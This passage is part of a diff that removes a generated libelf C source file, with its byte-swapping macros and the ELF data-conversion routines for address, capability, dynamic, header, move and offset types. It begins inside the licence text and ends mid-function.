- * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
- * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
- * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
- * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
- * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
- * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
- * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
- * SUCH DAMAGE.
- */
-
-#include <sys/cdefs.h>
-
-#include <assert.h>
-#include <libelf.h>
-#include <string.h>
-
-#include "_libelf.h"
-
-ELFTC_VCSID("$Id: libelf_convert.m4 2361 2011-12-28 12:03:05Z jkoshy $");
-
-/* WARNING: GENERATED FROM libelf_convert.m4. */
-
-
-
-/*
- * C macros to byte swap integral quantities.
- */
-
-#define	SWAP_BYTE(X)	do { (void) (X); } while (0)
-#define	SWAP_IDENT(X)	do { (void) (X); } while (0)
-#define	SWAP_HALF(X)	do {						\
-		uint16_t _x = (uint16_t) (X);				\
-		uint16_t _t = _x & 0xFF;				\
-		_t <<= 8; _x >>= 8; _t |= _x & 0xFF;			\
-		(X) = _t;						\
-	} while (0)
-#define	SWAP_WORD(X)	do {						\
-		uint32_t _x = (uint32_t) (X);				\
-		uint32_t _t = _x & 0xFF;				\
-		_t <<= 8; _x >>= 8; _t |= _x & 0xFF;			\
-		_t <<= 8; _x >>= 8; _t |= _x & 0xFF;			\
-		_t <<= 8; _x >>= 8; _t |= _x & 0xFF;			\
-		(X) = _t;						\
-	} while (0)
-#define	SWAP_ADDR32(X)	SWAP_WORD(X)
-#define	SWAP_OFF32(X)	SWAP_WORD(X)
-#define	SWAP_SWORD(X)	SWAP_WORD(X)
-#define	SWAP_WORD64(X)	do {						\
-		uint64_t _x = (uint64_t) (X);				\
-		uint64_t _t = _x & 0xFF;				\
-		_t <<= 8; _x >>= 8; _t |= _x & 0xFF;			\
-		_t <<= 8; _x >>= 8; _t |= _x & 0xFF;			\
-		_t <<= 8; _x >>= 8; _t |= _x & 0xFF;			\
-		_t <<= 8; _x >>= 8; _t |= _x & 0xFF;			\
-		_t <<= 8; _x >>= 8; _t |= _x & 0xFF;			\
-		_t <<= 8; _x >>= 8; _t |= _x & 0xFF;			\
-		_t <<= 8; _x >>= 8; _t |= _x & 0xFF;			\
-		(X) = _t;						\
-	} while (0)
-#define	SWAP_ADDR64(X)	SWAP_WORD64(X)
-#define	SWAP_LWORD(X)	SWAP_WORD64(X)
-#define	SWAP_OFF64(X)	SWAP_WORD64(X)
-#define	SWAP_SXWORD(X)	SWAP_WORD64(X)
-#define	SWAP_XWORD(X)	SWAP_WORD64(X)
-
-/*
- * C macros to write out various integral values.
- *
- * Note:
- * - The destination pointer could be unaligned.
- * - Values are written out in native byte order.
- * - The destination pointer is incremented after the write.
- */
-#define	WRITE_BYTE(P,X) do {						\
-		char *const _p = (char *) (P);	\
-		_p[0]		= (char) (X);			\
-		(P)		= _p + 1;				\
-	} while (0)
-#define	WRITE_HALF(P,X)	do {						\
-		uint16_t _t	= (X);					\
-		char *const _p	= (char *) (P);	\
-		const char *const _q = (char *) &_t;	\
-		_p[0]		= _q[0];				\
-		_p[1]		= _q[1];				\
-		(P)		= _p + 2;				\
-	} while (0)
-#define	WRITE_WORD(P,X)	do {						\
-		uint32_t _t	= (X);					\
-		char *const _p	= (char *) (P);	\
-		const char *const _q = (char *) &_t;	\
-		_p[0]		= _q[0];				\
-		_p[1]		= _q[1];				\
-		_p[2]		= _q[2];				\
-		_p[3]		= _q[3];				\
-		(P)		= _p + 4;				\
-	} while (0)
-#define	WRITE_ADDR32(P,X)	WRITE_WORD(P,X)
-#define	WRITE_OFF32(P,X)	WRITE_WORD(P,X)
-#define	WRITE_SWORD(P,X)	WRITE_WORD(P,X)
-#define	WRITE_WORD64(P,X)	do {					\
-		uint64_t _t	= (X);					\
-		char *const _p	= (char *) (P);	\
-		const char *const _q = (char *) &_t;	\
-		_p[0]		= _q[0];				\
-		_p[1]		= _q[1];				\
-		_p[2]		= _q[2];				\
-		_p[3]		= _q[3];				\
-		_p[4]		= _q[4];				\
-		_p[5]		= _q[5];				\
-		_p[6]		= _q[6];				\
-		_p[7]		= _q[7];				\
-		(P)		= _p + 8;				\
-	} while (0)
-#define	WRITE_ADDR64(P,X)	WRITE_WORD64(P,X)
-#define	WRITE_LWORD(P,X)	WRITE_WORD64(P,X)
-#define	WRITE_OFF64(P,X)	WRITE_WORD64(P,X)
-#define	WRITE_SXWORD(P,X)	WRITE_WORD64(P,X)
-#define	WRITE_XWORD(P,X)	WRITE_WORD64(P,X)
-#define	WRITE_IDENT(P,X)	do {					\
-		(void) memcpy((P), (X), sizeof((X)));			\
-		(P)		= (P) + EI_NIDENT;			\
-	} while (0)
-
-/*
- * C macros to read in various integral values.
- *
- * Note:
- * - The source pointer could be unaligned.
- * - Values are read in native byte order.
- * - The source pointer is incremented appropriately.
- */
-
-#define	READ_BYTE(P,X)	do {						\
-		const char *const _p =				\
-			(const char *) (P);			\
-		(X)		= _p[0];				\
-		(P)		= (P) + 1;				\
-	} while (0)
-#define	READ_HALF(P,X)	do {						\
-		uint16_t _t;						\
-		char *const _q = (char *) &_t;	\
-		const char *const _p =				\
-			(const char *) (P);			\
-		_q[0]		= _p[0];				\
-		_q[1]		= _p[1];				\
-		(P)		= (P) + 2;				\
-		(X)		= _t;					\
-	} while (0)
-#define	READ_WORD(P,X)	do {						\
-		uint32_t _t;						\
-		char *const _q = (char *) &_t;	\
-		const char *const _p =				\
-			(const char *) (P);			\
-		_q[0]		= _p[0];				\
-		_q[1]		= _p[1];				\
-		_q[2]		= _p[2];				\
-		_q[3]		= _p[3];				\
-		(P)		= (P) + 4;				\
-		(X)		= _t;					\
-	} while (0)
-#define	READ_ADDR32(P,X)	READ_WORD(P,X)
-#define	READ_OFF32(P,X)		READ_WORD(P,X)
-#define	READ_SWORD(P,X)		READ_WORD(P,X)
-#define	READ_WORD64(P,X)	do {					\
-		uint64_t _t;						\
-		char *const _q = (char *) &_t;	\
-		const char *const _p =				\
-			(const char *) (P);			\
-		_q[0]		= _p[0];				\
-		_q[1]		= _p[1];				\
-		_q[2]		= _p[2];				\
-		_q[3]		= _p[3];				\
-		_q[4]		= _p[4];				\
-		_q[5]		= _p[5];				\
-		_q[6]		= _p[6];				\
-		_q[7]		= _p[7];				\
-		(P)		= (P) + 8;				\
-		(X)		= _t;					\
-	} while (0)
-#define	READ_ADDR64(P,X)	READ_WORD64(P,X)
-#define	READ_LWORD(P,X)		READ_WORD64(P,X)
-#define	READ_OFF64(P,X)		READ_WORD64(P,X)
-#define	READ_SXWORD(P,X)	READ_WORD64(P,X)
-#define	READ_XWORD(P,X)		READ_WORD64(P,X)
-#define	READ_IDENT(P,X)		do {					\
-		(void) memcpy((X), (P), sizeof((X)));			\
-		(P)		= (P) + EI_NIDENT;			\
-	} while (0)
-
-#define	ROUNDUP2(V,N)	(V) = ((((V) + (N) - 1)) & ~((N) - 1))
-
-/*[*/
-
-static int
-_libelf_cvt_ADDR32_tof(char *dst, size_t dsz, char *src, size_t count,
-    int byteswap)
-{
-	Elf32_Addr t, *s = (Elf32_Addr *) (uintptr_t) src;
-	size_t c;
-
-	(void) dsz;
-
-	if (!byteswap) {
-		(void) memcpy(dst, src, count * sizeof(*s));
-		return (1);
-	}
-
-	for (c = 0; c < count; c++) {
-		t = *s++;
-		SWAP_ADDR32(t);
-		WRITE_ADDR32(dst,t);
-	}
-
-	return (1);
-}
-
-static int
-_libelf_cvt_ADDR32_tom(char *dst, size_t dsz, char *src, size_t count,
-    int byteswap)
-{
-	Elf32_Addr t, *d = (Elf32_Addr *) (uintptr_t) dst;
-	size_t c;
-
-	if (dsz < count * sizeof(Elf32_Addr))
-		return (0);
-
-	if (!byteswap) {
-		(void) memcpy(dst, src, count * sizeof(*d));
-		return (1);
-	}
-
-	for (c = 0; c < count; c++) {
-		READ_ADDR32(src,t);
-		SWAP_ADDR32(t);
-		*d++ = t;
-	}
-
-	return (1);
-}
-	 
-static int
-_libelf_cvt_ADDR64_tof(char *dst, size_t dsz, char *src, size_t count,
-    int byteswap)
-{
-	Elf64_Addr t, *s = (Elf64_Addr *) (uintptr_t) src;
-	size_t c;
-
-	(void) dsz;
-
-	if (!byteswap) {
-		(void) memcpy(dst, src, count * sizeof(*s));
-		return (1);
-	}
-
-	for (c = 0; c < count; c++) {
-		t = *s++;
-		SWAP_ADDR64(t);
-		WRITE_ADDR64(dst,t);
-	}
-
-	return (1);
-}
-
-static int
-_libelf_cvt_ADDR64_tom(char *dst, size_t dsz, char *src, size_t count,
-    int byteswap)
-{
-	Elf64_Addr t, *d = (Elf64_Addr *) (uintptr_t) dst;
-	size_t c;
-
-	if (dsz < count * sizeof(Elf64_Addr))
-		return (0);
-
-	if (!byteswap) {
-		(void) memcpy(dst, src, count * sizeof(*d));
-		return (1);
-	}
-
-	for (c = 0; c < count; c++) {
-		READ_ADDR64(src,t);
-		SWAP_ADDR64(t);
-		*d++ = t;
-	}
-
-	return (1);
-}
-
-static int
-_libelf_cvt_CAP32_tof(char *dst, size_t dsz, char *src, size_t count,
-    int byteswap)
-{
-	Elf32_Cap	t, *s;
-	size_t c;
-
-	(void) dsz;
-
-	s = (Elf32_Cap *) (uintptr_t) src;
-	for (c = 0; c < count; c++) {
-		t = *s++;
-		if (byteswap) {
-			/* Swap an Elf32_Cap */
-			SWAP_WORD(t.c_tag);
-			SWAP_WORD(t.c_un.c_val);
-			/**/
-		}
-		/* Write an Elf32_Cap */
-		WRITE_WORD(dst,t.c_tag);
-		WRITE_WORD(dst,t.c_un.c_val);
-		/**/
-	}
-
-	return (1);
-}
-
-static int
-_libelf_cvt_CAP32_tom(char *dst, size_t dsz, char *src, size_t count,
-    int byteswap)
-{
-	Elf32_Cap	 t, *d;
-	char		*s,*s0;
-	size_t		fsz;
-
-	fsz = elf32_fsize(ELF_T_CAP, (size_t) 1, EV_CURRENT);
-	d   = ((Elf32_Cap *) (uintptr_t) dst) + (count - 1);
-	s0  = (char *) src + (count - 1) * fsz;
-
-	if (dsz < count * sizeof(Elf32_Cap))
-		return (0);
-
-	while (count--) {
-		s = s0;
-		/* Read an Elf32_Cap */
-		READ_WORD(s,t.c_tag);
-		READ_WORD(s,t.c_un.c_val);
-		/**/
-		if (byteswap) {
-			/* Swap an Elf32_Cap */
-			SWAP_WORD(t.c_tag);
-			SWAP_WORD(t.c_un.c_val);
-			/**/
-		}
-		*d-- = t; s0 -= fsz;
-	}
-
-	return (1);
-}
-       
-static int
-_libelf_cvt_CAP64_tof(char *dst, size_t dsz, char *src, size_t count,
-    int byteswap)
-{
-	Elf64_Cap	t, *s;
-	size_t c;
-
-	(void) dsz;
-
-	s = (Elf64_Cap *) (uintptr_t) src;
-	for (c = 0; c < count; c++) {
-		t = *s++;
-		if (byteswap) {
-			/* Swap an Elf64_Cap */
-			SWAP_XWORD(t.c_tag);
-			SWAP_XWORD(t.c_un.c_val);
-			/**/
-		}
-		/* Write an Elf64_Cap */
-		WRITE_XWORD(dst,t.c_tag);
-		WRITE_XWORD(dst,t.c_un.c_val);
-		/**/
-	}
-
-	return (1);
-}
-
-static int
-_libelf_cvt_CAP64_tom(char *dst, size_t dsz, char *src, size_t count,
-    int byteswap)
-{
-	Elf64_Cap	 t, *d;
-	char		*s,*s0;
-	size_t		fsz;
-
-	fsz = elf64_fsize(ELF_T_CAP, (size_t) 1, EV_CURRENT);
-	d   = ((Elf64_Cap *) (uintptr_t) dst) + (count - 1);
-	s0  = (char *) src + (count - 1) * fsz;
-
-	if (dsz < count * sizeof(Elf64_Cap))
-		return (0);
-
-	while (count--) {
-		s = s0;
-		/* Read an Elf64_Cap */
-		READ_XWORD(s,t.c_tag);
-		READ_XWORD(s,t.c_un.c_val);
-		/**/
-		if (byteswap) {
-			/* Swap an Elf64_Cap */
-			SWAP_XWORD(t.c_tag);
-			SWAP_XWORD(t.c_un.c_val);
-			/**/
-		}
-		*d-- = t; s0 -= fsz;
-	}
-
-	return (1);
-}
-
-static int
-_libelf_cvt_DYN32_tof(char *dst, size_t dsz, char *src, size_t count,
-    int byteswap)
-{
-	Elf32_Dyn	t, *s;
-	size_t c;
-
-	(void) dsz;
-
-	s = (Elf32_Dyn *) (uintptr_t) src;
-	for (c = 0; c < count; c++) {
-		t = *s++;
-		if (byteswap) {
-			/* Swap an Elf32_Dyn */
-			SWAP_SWORD(t.d_tag);
-			SWAP_WORD(t.d_un.d_ptr);
-			/**/
-		}
-		/* Write an Elf32_Dyn */
-		WRITE_SWORD(dst,t.d_tag);
-		WRITE_WORD(dst,t.d_un.d_ptr);
-		/**/
-	}
-
-	return (1);
-}
-
-static int
-_libelf_cvt_DYN32_tom(char *dst, size_t dsz, char *src, size_t count,
-    int byteswap)
-{
-	Elf32_Dyn	 t, *d;
-	char		*s,*s0;
-	size_t		fsz;
-
-	fsz = elf32_fsize(ELF_T_DYN, (size_t) 1, EV_CURRENT);
-	d   = ((Elf32_Dyn *) (uintptr_t) dst) + (count - 1);
-	s0  = (char *) src + (count - 1) * fsz;
-
-	if (dsz < count * sizeof(Elf32_Dyn))
-		return (0);
-
-	while (count--) {
-		s = s0;
-		/* Read an Elf32_Dyn */
-		READ_SWORD(s,t.d_tag);
-		READ_WORD(s,t.d_un.d_ptr);
-		/**/
-		if (byteswap) {
-			/* Swap an Elf32_Dyn */
-			SWAP_SWORD(t.d_tag);
-			SWAP_WORD(t.d_un.d_ptr);
-			/**/
-		}
-		*d-- = t; s0 -= fsz;
-	}
-
-	return (1);
-}
-       
-static int
-_libelf_cvt_DYN64_tof(char *dst, size_t dsz, char *src, size_t count,
-    int byteswap)
-{
-	Elf64_Dyn	t, *s;
-	size_t c;
-
-	(void) dsz;
-
-	s = (Elf64_Dyn *) (uintptr_t) src;
-	for (c = 0; c < count; c++) {
-		t = *s++;
-		if (byteswap) {
-			/* Swap an Elf64_Dyn */
-			SWAP_SXWORD(t.d_tag);
-			SWAP_XWORD(t.d_un.d_ptr);
-			/**/
-		}
-		/* Write an Elf64_Dyn */
-		WRITE_SXWORD(dst,t.d_tag);
-		WRITE_XWORD(dst,t.d_un.d_ptr);
-		/**/
-	}
-
-	return (1);
-}
-
-static int
-_libelf_cvt_DYN64_tom(char *dst, size_t dsz, char *src, size_t count,
-    int byteswap)
-{
-	Elf64_Dyn	 t, *d;
-	char		*s,*s0;
-	size_t		fsz;
-
-	fsz = elf64_fsize(ELF_T_DYN, (size_t) 1, EV_CURRENT);
-	d   = ((Elf64_Dyn *) (uintptr_t) dst) + (count - 1);
-	s0  = (char *) src + (count - 1) * fsz;
-
-	if (dsz < count * sizeof(Elf64_Dyn))
-		return (0);
-
-	while (count--) {
-		s = s0;
-		/* Read an Elf64_Dyn */
-		READ_SXWORD(s,t.d_tag);
-		READ_XWORD(s,t.d_un.d_ptr);
-		/**/
-		if (byteswap) {
-			/* Swap an Elf64_Dyn */
-			SWAP_SXWORD(t.d_tag);
-			SWAP_XWORD(t.d_un.d_ptr);
-			/**/
-		}
-		*d-- = t; s0 -= fsz;
-	}
-
-	return (1);
-}
-
-static int
-_libelf_cvt_EHDR32_tof(char *dst, size_t dsz, char *src, size_t count,
-    int byteswap)
-{
-	Elf32_Ehdr	t, *s;
-	size_t c;
-
-	(void) dsz;
-
-	s = (Elf32_Ehdr *) (uintptr_t) src;
-	for (c = 0; c < count; c++) {
-		t = *s++;
-		if (byteswap) {
-			/* Swap an Elf32_Ehdr */
-			SWAP_IDENT(t.e_ident);
-			SWAP_HALF(t.e_type);
-			SWAP_HALF(t.e_machine);
-			SWAP_WORD(t.e_version);
-			SWAP_ADDR32(t.e_entry);
-			SWAP_OFF32(t.e_phoff);
-			SWAP_OFF32(t.e_shoff);
-			SWAP_WORD(t.e_flags);
-			SWAP_HALF(t.e_ehsize);
-			SWAP_HALF(t.e_phentsize);
-			SWAP_HALF(t.e_phnum);
-			SWAP_HALF(t.e_shentsize);
-			SWAP_HALF(t.e_shnum);
-			SWAP_HALF(t.e_shstrndx);
-			/**/
-		}
-		/* Write an Elf32_Ehdr */
-		WRITE_IDENT(dst,t.e_ident);
-		WRITE_HALF(dst,t.e_type);
-		WRITE_HALF(dst,t.e_machine);
-		WRITE_WORD(dst,t.e_version);
-		WRITE_ADDR32(dst,t.e_entry);
-		WRITE_OFF32(dst,t.e_phoff);
-		WRITE_OFF32(dst,t.e_shoff);
-		WRITE_WORD(dst,t.e_flags);
-		WRITE_HALF(dst,t.e_ehsize);
-		WRITE_HALF(dst,t.e_phentsize);
-		WRITE_HALF(dst,t.e_phnum);
-		WRITE_HALF(dst,t.e_shentsize);
-		WRITE_HALF(dst,t.e_shnum);
-		WRITE_HALF(dst,t.e_shstrndx);
-		/**/
-	}
-
-	return (1);
-}
-
-static int
-_libelf_cvt_EHDR32_tom(char *dst, size_t dsz, char *src, size_t count,
-    int byteswap)
-{
-	Elf32_Ehdr	 t, *d;
-	char		*s,*s0;
-	size_t		fsz;
-
-	fsz = elf32_fsize(ELF_T_EHDR, (size_t) 1, EV_CURRENT);
-	d   = ((Elf32_Ehdr *) (uintptr_t) dst) + (count - 1);
-	s0  = (char *) src + (count - 1) * fsz;
-
-	if (dsz < count * sizeof(Elf32_Ehdr))
-		return (0);
-
-	while (count--) {
-		s = s0;
-		/* Read an Elf32_Ehdr */
-		READ_IDENT(s,t.e_ident);
-		READ_HALF(s,t.e_type);
-		READ_HALF(s,t.e_machine);
-		READ_WORD(s,t.e_version);
-		READ_ADDR32(s,t.e_entry);
-		READ_OFF32(s,t.e_phoff);
-		READ_OFF32(s,t.e_shoff);
-		READ_WORD(s,t.e_flags);
-		READ_HALF(s,t.e_ehsize);
-		READ_HALF(s,t.e_phentsize);
-		READ_HALF(s,t.e_phnum);
-		READ_HALF(s,t.e_shentsize);
-		READ_HALF(s,t.e_shnum);
-		READ_HALF(s,t.e_shstrndx);
-		/**/
-		if (byteswap) {
-			/* Swap an Elf32_Ehdr */
-			SWAP_IDENT(t.e_ident);
-			SWAP_HALF(t.e_type);
-			SWAP_HALF(t.e_machine);
-			SWAP_WORD(t.e_version);
-			SWAP_ADDR32(t.e_entry);
-			SWAP_OFF32(t.e_phoff);
-			SWAP_OFF32(t.e_shoff);
-			SWAP_WORD(t.e_flags);
-			SWAP_HALF(t.e_ehsize);
-			SWAP_HALF(t.e_phentsize);
-			SWAP_HALF(t.e_phnum);
-			SWAP_HALF(t.e_shentsize);
-			SWAP_HALF(t.e_shnum);
-			SWAP_HALF(t.e_shstrndx);
-			/**/
-		}
-		*d-- = t; s0 -= fsz;
-	}
-
-	return (1);
-}
-       
-static int
-_libelf_cvt_EHDR64_tof(char *dst, size_t dsz, char *src, size_t count,
-    int byteswap)
-{
-	Elf64_Ehdr	t, *s;
-	size_t c;
-
-	(void) dsz;
-
-	s = (Elf64_Ehdr *) (uintptr_t) src;
-	for (c = 0; c < count; c++) {
-		t = *s++;
-		if (byteswap) {
-			/* Swap an Elf64_Ehdr */
-			SWAP_IDENT(t.e_ident);
-			SWAP_HALF(t.e_type);
-			SWAP_HALF(t.e_machine);
-			SWAP_WORD(t.e_version);
-			SWAP_ADDR64(t.e_entry);
-			SWAP_OFF64(t.e_phoff);
-			SWAP_OFF64(t.e_shoff);
-			SWAP_WORD(t.e_flags);
-			SWAP_HALF(t.e_ehsize);
-			SWAP_HALF(t.e_phentsize);
-			SWAP_HALF(t.e_phnum);
-			SWAP_HALF(t.e_shentsize);
-			SWAP_HALF(t.e_shnum);
-			SWAP_HALF(t.e_shstrndx);
-			/**/
-		}
-		/* Write an Elf64_Ehdr */
-		WRITE_IDENT(dst,t.e_ident);
-		WRITE_HALF(dst,t.e_type);
-		WRITE_HALF(dst,t.e_machine);
-		WRITE_WORD(dst,t.e_version);
-		WRITE_ADDR64(dst,t.e_entry);
-		WRITE_OFF64(dst,t.e_phoff);
-		WRITE_OFF64(dst,t.e_shoff);
-		WRITE_WORD(dst,t.e_flags);
-		WRITE_HALF(dst,t.e_ehsize);
-		WRITE_HALF(dst,t.e_phentsize);
-		WRITE_HALF(dst,t.e_phnum);
-		WRITE_HALF(dst,t.e_shentsize);
-		WRITE_HALF(dst,t.e_shnum);
-		WRITE_HALF(dst,t.e_shstrndx);
-		/**/
-	}
-
-	return (1);
-}
-
-static int
-_libelf_cvt_EHDR64_tom(char *dst, size_t dsz, char *src, size_t count,
-    int byteswap)
-{
-	Elf64_Ehdr	 t, *d;
-	char		*s,*s0;
-	size_t		fsz;
-
-	fsz = elf64_fsize(ELF_T_EHDR, (size_t) 1, EV_CURRENT);
-	d   = ((Elf64_Ehdr *) (uintptr_t) dst) + (count - 1);
-	s0  = (char *) src + (count - 1) * fsz;
-
-	if (dsz < count * sizeof(Elf64_Ehdr))
-		return (0);
-
-	while (count--) {
-		s = s0;
-		/* Read an Elf64_Ehdr */
-		READ_IDENT(s,t.e_ident);
-		READ_HALF(s,t.e_type);
-		READ_HALF(s,t.e_machine);
-		READ_WORD(s,t.e_version);
-		READ_ADDR64(s,t.e_entry);
-		READ_OFF64(s,t.e_phoff);
-		READ_OFF64(s,t.e_shoff);
-		READ_WORD(s,t.e_flags);
-		READ_HALF(s,t.e_ehsize);
-		READ_HALF(s,t.e_phentsize);
-		READ_HALF(s,t.e_phnum);
-		READ_HALF(s,t.e_shentsize);
-		READ_HALF(s,t.e_shnum);
-		READ_HALF(s,t.e_shstrndx);
-		/**/
-		if (byteswap) {
-			/* Swap an Elf64_Ehdr */
-			SWAP_IDENT(t.e_ident);
-			SWAP_HALF(t.e_type);
-			SWAP_HALF(t.e_machine);
-			SWAP_WORD(t.e_version);
-			SWAP_ADDR64(t.e_entry);
-			SWAP_OFF64(t.e_phoff);
-			SWAP_OFF64(t.e_shoff);
-			SWAP_WORD(t.e_flags);
-			SWAP_HALF(t.e_ehsize);
-			SWAP_HALF(t.e_phentsize);
-			SWAP_HALF(t.e_phnum);
-			SWAP_HALF(t.e_shentsize);
-			SWAP_HALF(t.e_shnum);
-			SWAP_HALF(t.e_shstrndx);
-			/**/
-		}
-		*d-- = t; s0 -= fsz;
-	}
-
-	return (1);
-}
-
-static int
-_libelf_cvt_HALF_tof(char *dst, size_t dsz, char *src, size_t count,
-    int byteswap)
-{
-	Elf64_Half t, *s = (Elf64_Half *) (uintptr_t) src;
-	size_t c;
-
-	(void) dsz;
-
-	if (!byteswap) {
-		(void) memcpy(dst, src, count * sizeof(*s));
-		return (1);
-	}
-
-	for (c = 0; c < count; c++) {
-		t = *s++;
-		SWAP_HALF(t);
-		WRITE_HALF(dst,t);
-	}
-
-	return (1);
-}
-
-static int
-_libelf_cvt_HALF_tom(char *dst, size_t dsz, char *src, size_t count,
-    int byteswap)
-{
-	Elf64_Half t, *d = (Elf64_Half *) (uintptr_t) dst;
-	size_t c;
-
-	if (dsz < count * sizeof(Elf64_Half))
-		return (0);
-
-	if (!byteswap) {
-		(void) memcpy(dst, src, count * sizeof(*d));
-		return (1);
-	}
-
-	for (c = 0; c < count; c++) {
-		READ_HALF(src,t);
-		SWAP_HALF(t);
-		*d++ = t;
-	}
-
-	return (1);
-}
-
-static int
-_libelf_cvt_LWORD_tof(char *dst, size_t dsz, char *src, size_t count,
-    int byteswap)
-{
-	Elf64_Lword t, *s = (Elf64_Lword *) (uintptr_t) src;
-	size_t c;
-
-	(void) dsz;
-
-	if (!byteswap) {
-		(void) memcpy(dst, src, count * sizeof(*s));
-		return (1);
-	}
-
-	for (c = 0; c < count; c++) {
-		t = *s++;
-		SWAP_LWORD(t);
-		WRITE_LWORD(dst,t);
-	}
-
-	return (1);
-}
-
-static int
-_libelf_cvt_LWORD_tom(char *dst, size_t dsz, char *src, size_t count,
-    int byteswap)
-{
-	Elf64_Lword t, *d = (Elf64_Lword *) (uintptr_t) dst;
-	size_t c;
-
-	if (dsz < count * sizeof(Elf64_Lword))
-		return (0);
-
-	if (!byteswap) {
-		(void) memcpy(dst, src, count * sizeof(*d));
-		return (1);
-	}
-
-	for (c = 0; c < count; c++) {
-		READ_LWORD(src,t);
-		SWAP_LWORD(t);
-		*d++ = t;
-	}
-
-	return (1);
-}
-
-static int
-_libelf_cvt_MOVE32_tof(char *dst, size_t dsz, char *src, size_t count,
-    int byteswap)
-{
-	Elf32_Move	t, *s;
-	size_t c;
-
-	(void) dsz;
-
-	s = (Elf32_Move *) (uintptr_t) src;
-	for (c = 0; c < count; c++) {
-		t = *s++;
-		if (byteswap) {
-			/* Swap an Elf32_Move */
-			SWAP_LWORD(t.m_value);
-			SWAP_WORD(t.m_info);
-			SWAP_WORD(t.m_poffset);
-			SWAP_HALF(t.m_repeat);
-			SWAP_HALF(t.m_stride);
-			/**/
-		}
-		/* Write an Elf32_Move */
-		WRITE_LWORD(dst,t.m_value);
-		WRITE_WORD(dst,t.m_info);
-		WRITE_WORD(dst,t.m_poffset);
-		WRITE_HALF(dst,t.m_repeat);
-		WRITE_HALF(dst,t.m_stride);
-		/**/
-	}
-
-	return (1);
-}
-
-static int
-_libelf_cvt_MOVE32_tom(char *dst, size_t dsz, char *src, size_t count,
-    int byteswap)
-{
-	Elf32_Move	 t, *d;
-	char		*s,*s0;
-	size_t		fsz;
-
-	fsz = elf32_fsize(ELF_T_MOVE, (size_t) 1, EV_CURRENT);
-	d   = ((Elf32_Move *) (uintptr_t) dst) + (count - 1);
-	s0  = (char *) src + (count - 1) * fsz;
-
-	if (dsz < count * sizeof(Elf32_Move))
-		return (0);
-
-	while (count--) {
-		s = s0;
-		/* Read an Elf32_Move */
-		READ_LWORD(s,t.m_value);
-		READ_WORD(s,t.m_info);
-		READ_WORD(s,t.m_poffset);
-		READ_HALF(s,t.m_repeat);
-		READ_HALF(s,t.m_stride);
-		/**/
-		if (byteswap) {
-			/* Swap an Elf32_Move */
-			SWAP_LWORD(t.m_value);
-			SWAP_WORD(t.m_info);
-			SWAP_WORD(t.m_poffset);
-			SWAP_HALF(t.m_repeat);
-			SWAP_HALF(t.m_stride);
-			/**/
-		}
-		*d-- = t; s0 -= fsz;
-	}
-
-	return (1);
-}
-       
-static int
-_libelf_cvt_MOVE64_tof(char *dst, size_t dsz, char *src, size_t count,
-    int byteswap)
-{
-	Elf64_Move	t, *s;
-	size_t c;
-
-	(void) dsz;
-
-	s = (Elf64_Move *) (uintptr_t) src;
-	for (c = 0; c < count; c++) {
-		t = *s++;
-		if (byteswap) {
-			/* Swap an Elf64_Move */
-			SWAP_LWORD(t.m_value);
-			SWAP_XWORD(t.m_info);
-			SWAP_XWORD(t.m_poffset);
-			SWAP_HALF(t.m_repeat);
-			SWAP_HALF(t.m_stride);
-			/**/
-		}
-		/* Write an Elf64_Move */
-		WRITE_LWORD(dst,t.m_value);
-		WRITE_XWORD(dst,t.m_info);
-		WRITE_XWORD(dst,t.m_poffset);
-		WRITE_HALF(dst,t.m_repeat);
-		WRITE_HALF(dst,t.m_stride);
-		/**/
-	}
-
-	return (1);
-}
-
-static int
-_libelf_cvt_MOVE64_tom(char *dst, size_t dsz, char *src, size_t count,
-    int byteswap)
-{
-	Elf64_Move	 t, *d;
-	char		*s,*s0;
-	size_t		fsz;
-
-	fsz = elf64_fsize(ELF_T_MOVE, (size_t) 1, EV_CURRENT);
-	d   = ((Elf64_Move *) (uintptr_t) dst) + (count - 1);
-	s0  = (char *) src + (count - 1) * fsz;
-
-	if (dsz < count * sizeof(Elf64_Move))
-		return (0);
-
-	while (count--) {
-		s = s0;
-		/* Read an Elf64_Move */
-		READ_LWORD(s,t.m_value);
-		READ_XWORD(s,t.m_info);
-		READ_XWORD(s,t.m_poffset);
-		READ_HALF(s,t.m_repeat);
-		READ_HALF(s,t.m_stride);
-		/**/
-		if (byteswap) {
-			/* Swap an Elf64_Move */
-			SWAP_LWORD(t.m_value);
-			SWAP_XWORD(t.m_info);
-			SWAP_XWORD(t.m_poffset);
-			SWAP_HALF(t.m_repeat);
-			SWAP_HALF(t.m_stride);
-			/**/
-		}
-		*d-- = t; s0 -= fsz;
-	}
-
-	return (1);
-}
-
-static int
-_libelf_cvt_OFF32_tof(char *dst, size_t dsz, char *src, size_t count,
-    int byteswap)
-{
-	Elf32_Off t, *s = (Elf32_Off *) (uintptr_t) src;
-	size_t c;
-
-	(void) dsz;
-
-	if (!byteswap) {
-		(void) memcpy(dst, src, count * sizeof(*s));
-		return (1);
-	}
-
-	for (c = 0; c < count; c++) {
-		t = *s++;
-		SWAP_OFF32(t);
-		WRITE_OFF32(dst,t);
-	}
-
-	return (1);
-}
-
-static int
-_libelf_cvt_OFF32_tom(char *dst, size_t dsz, char *src, size_t count,
-    int byteswap)
-{
-	Elf32_Off t, *d = (Elf32_Off *) (uintptr_t) dst;
-	size_t c;
-
-	if (dsz < count * sizeof(Elf32_Off))
-		return (0);
-
-	if (!byteswap) {
-		(void) memcpy(dst, src, count * sizeof(*d));
-		return (1);
-	}
-
-	for (c = 0; c < count; c++) {
-		READ_OFF32(src,t);
-		SWAP_OFF32(t);
-		*d++ = t;
-	}
-
-	return (1);
-}
-	 
-static int
-_libelf_cvt_OFF64_tof(char *dst, size_t dsz, char *src, size_t count,
-    int byteswap)
-{
-	Elf64_Off t, *s = (Elf64_Off *) (uintptr_t) src;
-	size_t c;
-
-	(void) dsz;
-
-	if (!byteswap) {
-		(void) memcpy(dst, src, count * sizeof(*s));
-		return (1);
-	}
-
-	for (c = 0; c < count; c++) {
